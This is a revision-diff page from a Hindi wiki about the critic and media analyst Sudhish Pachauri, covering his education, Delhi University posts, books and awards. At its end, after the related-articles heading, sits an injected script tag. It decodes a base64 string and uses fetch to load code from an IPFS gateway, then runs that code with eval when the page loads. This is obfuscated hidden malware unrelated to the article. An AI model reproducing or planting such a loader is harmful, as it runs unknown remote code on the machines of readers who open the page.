"सुधीश पचौरी" के अवतरणों में अंतर
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - "बाजार" to "बाज़ार") |
गोविन्द राम (चर्चा | योगदान) |
||
पंक्ति 6: | पंक्ति 6: | ||
|पूरा नाम=डॉ. सुधीश पचौरी | |पूरा नाम=डॉ. सुधीश पचौरी | ||
|अन्य नाम= | |अन्य नाम= | ||
− | |जन्म=[[29 दिसम्बर]], | + | |जन्म=[[29 दिसम्बर]], 1948 |
|जन्म भूमि=[[अलीगढ़]], [[उत्तर प्रदेश]] | |जन्म भूमि=[[अलीगढ़]], [[उत्तर प्रदेश]] | ||
|अविभावक= | |अविभावक= | ||
पंक्ति 33: | पंक्ति 33: | ||
|अद्यतन=11:24, 5 अक्टूबर 2011 (IST) | |अद्यतन=11:24, 5 अक्टूबर 2011 (IST) | ||
}} | }} | ||
− | + | '''सुधीश पचौरी''' (जन्म:[[29 दिसम्बर]], [[1948]] [[अलीगढ़]]) प्रसिद्ध आलोचक एवं प्रमुख मीडिया विश्लेषक हैं। साहित्यकार, स्तंभकार और वरिष्ठ मीडिया समीक्षक, सुधीश पचौरी को 2010 में ‘हिंदी सलाहकार समिति’ का सदस्य बनाया गया। [[दिल्ली विश्वविद्यालय]] में [[हिंदी]] के प्राध्यापक, पचौरी को दिल्ली विश्वविद्यालय में 'डीन ऑफ कॉलेज' भी बनाया गया है। दैनिक हिंदी अखबार, ‘जनसत्ता’ में पचौरी का एक कॉलम ‘देखी-सुनी’ पिछले 25 वर्षों से भी अधिक समय से लगातार आ रहा है, जो अपने आप में एक बहुत बड़ी उपलब्धि है। यह कॉलम वर्ष 1984 से लगातार आ रहा है और यह 26वें [[वर्ष]] में प्रवेश कर गया है। पचौरी को साहित्य जगत में योगदान के लिए कई पुरस्कार भी मिल चुके हैं।<ref>{{cite web |url=http://www.samachar4media.com/news-story/sudish-pachouri-hindi-committe |title=वरिष्ठ मीडिया समीक्षक, सुधीश पचौरी ‘हिंदी सलाहकार समिति’ के सदस्य बनें|accessmonthday=2 अक्टूबर|accessyear=2011|last= |first= |authorlink= |format= |publisher= |language=हिंदी}}</ref> | |
− | सुधीश पचौरी | ||
==शिक्षा== | ==शिक्षा== | ||
आपने एम.ए. हिन्दी और पी.एच.डी. दिल्ली विश्वविद्यालय से कर रखी है। | आपने एम.ए. हिन्दी और पी.एच.डी. दिल्ली विश्वविद्यालय से कर रखी है। | ||
==कार्यक्षेत्र== | ==कार्यक्षेत्र== | ||
− | [[हिंदी]] के प्रचार और प्रसार के लिए 1967 में ‘केन्द्रीय हिंदी समिति’ का गठन किया गया था जिसके पदेन अध्यक्ष, प्रधानमंत्री होते हैं। ‘केंद्रीय हिंदी समिति’ के दिशा-निर्देशन में विभिन्न मंत्रालयों और विभागों में भी ‘हिंदी सलाहकार समितियों’ का गठन किया जाता है जिसकी अध्यक्षता संबंधित विभाग के मंत्री करते हैं। सुधीश पचौरी को [[दिल्ली विश्वविद्यालय]] में 'कॉलेज ऑफ डीन' भी बनाया गया है। इस नियुक्ति के साथ ही, पचौरी [[विश्वविद्यालय]] के इतिहास में, पहले ऐसे व्यक्ति बन गए हैं, जो हिंदी विभाग से इस पद पर पहुंचे है। | + | [[हिंदी]] के प्रचार और प्रसार के लिए 1967 में ‘केन्द्रीय हिंदी समिति’ का गठन किया गया था जिसके पदेन अध्यक्ष, [[प्रधानमंत्री]] होते हैं। ‘केंद्रीय हिंदी समिति’ के दिशा-निर्देशन में विभिन्न मंत्रालयों और विभागों में भी ‘हिंदी सलाहकार समितियों’ का गठन किया जाता है जिसकी अध्यक्षता संबंधित विभाग के मंत्री करते हैं। सुधीश पचौरी को [[दिल्ली विश्वविद्यालय]] में 'कॉलेज ऑफ डीन' भी बनाया गया है। इस नियुक्ति के साथ ही, पचौरी [[विश्वविद्यालय]] के इतिहास में, पहले ऐसे व्यक्ति बन गए हैं, जो हिंदी विभाग से इस पद पर पहुंचे है। |
==रचनाएँ== | ==रचनाएँ== | ||
{{tocright}} | {{tocright}} | ||
− | सुधीश पचौरी विभिन्न विषयों पर, पचास से भी अधिक किताबें लिख चुके हैं। मीडिया से जुड़ी उनके कुछ प्रमुख किताबें हैं- ‘मीडिया और साहित्य’, ‘मीडिया की परख’, ‘टीवी टाइम्स’ आदि।<ref>{{cite web |url=http://www.samachar4media.com/news-story/sudish-pachouri-hindi-committe |title=वरिष्ठ मीडिया समीक्षक, सुधीश पचौरी ‘हिंदी सलाहकार समिति’ के सदस्य बनें|accessmonthday=2 अक्टूबर|accessyear=2011|last= |first= |authorlink= |format= |publisher= |language=हिंदी}}</ref> | + | सुधीश पचौरी विभिन्न विषयों पर, पचास से भी अधिक किताबें लिख चुके हैं। मीडिया से जुड़ी उनके कुछ प्रमुख किताबें हैं- ‘मीडिया और साहित्य’, ‘मीडिया की परख’, ‘टीवी टाइम्स’ आदि।<ref>{{cite web |url=http://www.samachar4media.com/news-story/sudish-pachouri-hindi-committe |title=वरिष्ठ मीडिया समीक्षक, सुधीश पचौरी ‘हिंदी सलाहकार समिति’ के सदस्य बनें|accessmonthday=2 अक्टूबर|accessyear=2011|last= |first= |authorlink= |format= |publisher= |language=हिंदी}}</ref> इनकी प्रमुख किताबों में 'कविता का अंत', 'दूरदर्शन की भूमिका', 'दूरदर्शन : स्वायत्तता और स्वतंत्रता', 'विकास से बाज़ार तक', 'मीडिया और साहित्य', 'टीवी टाइम्स', 'साहित्य का उत्तरकाण्ड', 'स्त्री देह के विमर्श', 'आलोचना से आगे', मीडिया, जनतन्त्र और आतंकवाद, मीडिया की परख आदि शामिल हैं।<ref>{{cite web |url=http://bhadas4media.com/vividh/7929-2010-12-16-10-51-19.html |title=सुधीश पचौरी बने हिंदी सलाहकार समिति के सदस्य|accessmonthday=2 अक्टूबर|accessyear=2011|last= |first= |authorlink= |format= |publisher= |language=हिंदी}}</ref> |
− | |||
− | इनकी प्रमुख किताबों में 'कविता का अंत', 'दूरदर्शन की भूमिका', 'दूरदर्शन : स्वायत्तता और स्वतंत्रता', 'विकास से बाज़ार तक', 'मीडिया और साहित्य', 'टीवी टाइम्स', 'साहित्य का उत्तरकाण्ड', 'स्त्री देह के विमर्श', 'आलोचना से आगे', मीडिया, जनतन्त्र और आतंकवाद, मीडिया की परख आदि शामिल हैं।<ref>{{cite web |url=http://bhadas4media.com/vividh/7929-2010-12-16-10-51-19.html |title=सुधीश पचौरी बने हिंदी सलाहकार समिति के सदस्य|accessmonthday=2 अक्टूबर|accessyear=2011|last= |first= |authorlink= |format= |publisher= |language=हिंदी}}</ref> | ||
;प्रकाशित कृतियाँ | ;प्रकाशित कृतियाँ | ||
*नई कविता का वैचारिक आधार, | *नई कविता का वैचारिक आधार, | ||
पंक्ति 76: | पंक्ति 73: | ||
==पुरस्कार== | ==पुरस्कार== | ||
− | इन्हें 'मध्यप्रदेश साहित्य परिषद' का '''रामचन्द्र शुक्ल सम्मान''', '''भारतेन्दु हरिश्चन्द्र पुरस्कार''' एवं दिल्ली हिंदी अकादमी द्वारा '''साहित्यकार | + | इन्हें 'मध्यप्रदेश साहित्य परिषद' का '''रामचन्द्र शुक्ल सम्मान''', '''भारतेन्दु हरिश्चन्द्र पुरस्कार''' एवं दिल्ली हिंदी अकादमी द्वारा '''साहित्यकार सम्मान''' भी मिल चुका है। |
− | + | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }} | |
− | {{लेख प्रगति|आधार= | ||
− | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
− | |||
==बाहरी कड़ियाँ== | ==बाहरी कड़ियाँ== | ||
*[http://jantantra.com/2010/05/19/interaction-on-media-and-literature-by-mohalla-live-janatantra-and-yatra-books/ लेखक बेहतर राष्ट्रीय प्रवक्ता हो सकते हैं, पर वे सुस्त हैं] | *[http://jantantra.com/2010/05/19/interaction-on-media-and-literature-by-mohalla-live-janatantra-and-yatra-books/ लेखक बेहतर राष्ट्रीय प्रवक्ता हो सकते हैं, पर वे सुस्त हैं] | ||
*[http://www.hunkaar.com/2010/01/blog-post_4052.html सुधीश पचौरी के बयान से मची खलबली] | *[http://www.hunkaar.com/2010/01/blog-post_4052.html सुधीश पचौरी के बयान से मची खलबली] | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
− | {{पत्रकार}} | + | {{पत्रकार}}{{साहित्यकार}} |
− | {{साहित्यकार}} | ||
− | |||
− | |||
__INDEX__ | __INDEX__ | ||
[[Category:आधुनिक_साहित्य]][[Category:चरित_कोश]][[Category:समकालीन_साहित्य]][[Category:समाचार_जगत]][[Category:साहित्य_कोश]][[Category:साहित्यकार]] | [[Category:आधुनिक_साहित्य]][[Category:चरित_कोश]][[Category:समकालीन_साहित्य]][[Category:समाचार_जगत]][[Category:साहित्य_कोश]][[Category:साहित्यकार]] |
10:23, 6 जुलाई 2012 का अवतरण
सुधीश पचौरी (जन्म:29 दिसम्बर, 1948 अलीगढ़) प्रसिद्ध आलोचक एवं प्रमुख मीडिया विश्लेषक हैं। साहित्यकार, स्तंभकार और वरिष्ठ मीडिया समीक्षक, सुधीश पचौरी को 2010 में ‘हिंदी सलाहकार समिति’ का सदस्य बनाया गया। दिल्ली विश्वविद्यालय में हिंदी के प्राध्यापक, पचौरी को दिल्ली विश्वविद्यालय में 'डीन ऑफ कॉलेज' भी बनाया गया है। दैनिक हिंदी अखबार, ‘जनसत्ता’ में पचौरी का एक कॉलम ‘देखी-सुनी’ पिछले 25 वर्षों से भी अधिक समय से लगातार आ रहा है, जो अपने आप में एक बहुत बड़ी उपलब्धि है। यह कॉलम वर्ष 1984 से लगातार आ रहा है और यह 26वें वर्ष में प्रवेश कर गया है। पचौरी को साहित्य जगत में योगदान के लिए कई पुरस्कार भी मिल चुके हैं।[1] शिक्षाआपने एम.ए. हिन्दी और पी.एच.डी. दिल्ली विश्वविद्यालय से कर रखी है। कार्यक्षेत्रहिंदी के प्रचार और प्रसार के लिए 1967 में ‘केन्द्रीय हिंदी समिति’ का गठन किया गया था जिसके पदेन अध्यक्ष, प्रधानमंत्री होते हैं। ‘केंद्रीय हिंदी समिति’ के दिशा-निर्देशन में विभिन्न मंत्रालयों और विभागों में भी ‘हिंदी सलाहकार समितियों’ का गठन किया जाता है जिसकी अध्यक्षता संबंधित विभाग के मंत्री करते हैं। सुधीश पचौरी को दिल्ली विश्वविद्यालय में 'कॉलेज ऑफ डीन' भी बनाया गया है। इस नियुक्ति के साथ ही, पचौरी विश्वविद्यालय के इतिहास में, पहले ऐसे व्यक्ति बन गए हैं, जो हिंदी विभाग से इस पद पर पहुंचे है। रचनाएँसुधीश पचौरी विभिन्न विषयों पर, पचास से भी अधिक किताबें लिख चुके हैं। मीडिया से जुड़ी उनके कुछ प्रमुख किताबें हैं- ‘मीडिया और साहित्य’, ‘मीडिया की परख’, ‘टीवी टाइम्स’ आदि।[2] इनकी प्रमुख किताबों में 'कविता का अंत', 'दूरदर्शन की भूमिका', 'दूरदर्शन : स्वायत्तता और स्वतंत्रता', 'विकास से बाज़ार तक', 'मीडिया और साहित्य', 'टीवी टाइम्स', 'साहित्य का उत्तरकाण्ड', 'स्त्री देह के विमर्श', 'आलोचना से आगे', मीडिया, जनतन्त्र और आतंकवाद, मीडिया की परख आदि शामिल हैं।[3]
पुरस्कारइन्हें 'मध्यप्रदेश साहित्य परिषद' का रामचन्द्र शुक्ल सम्मान, भारतेन्दु हरिश्चन्द्र पुरस्कार एवं दिल्ली हिंदी अकादमी द्वारा साहित्यकार सम्मान भी मिल चुका है।
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँसंबंधित लेख<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> |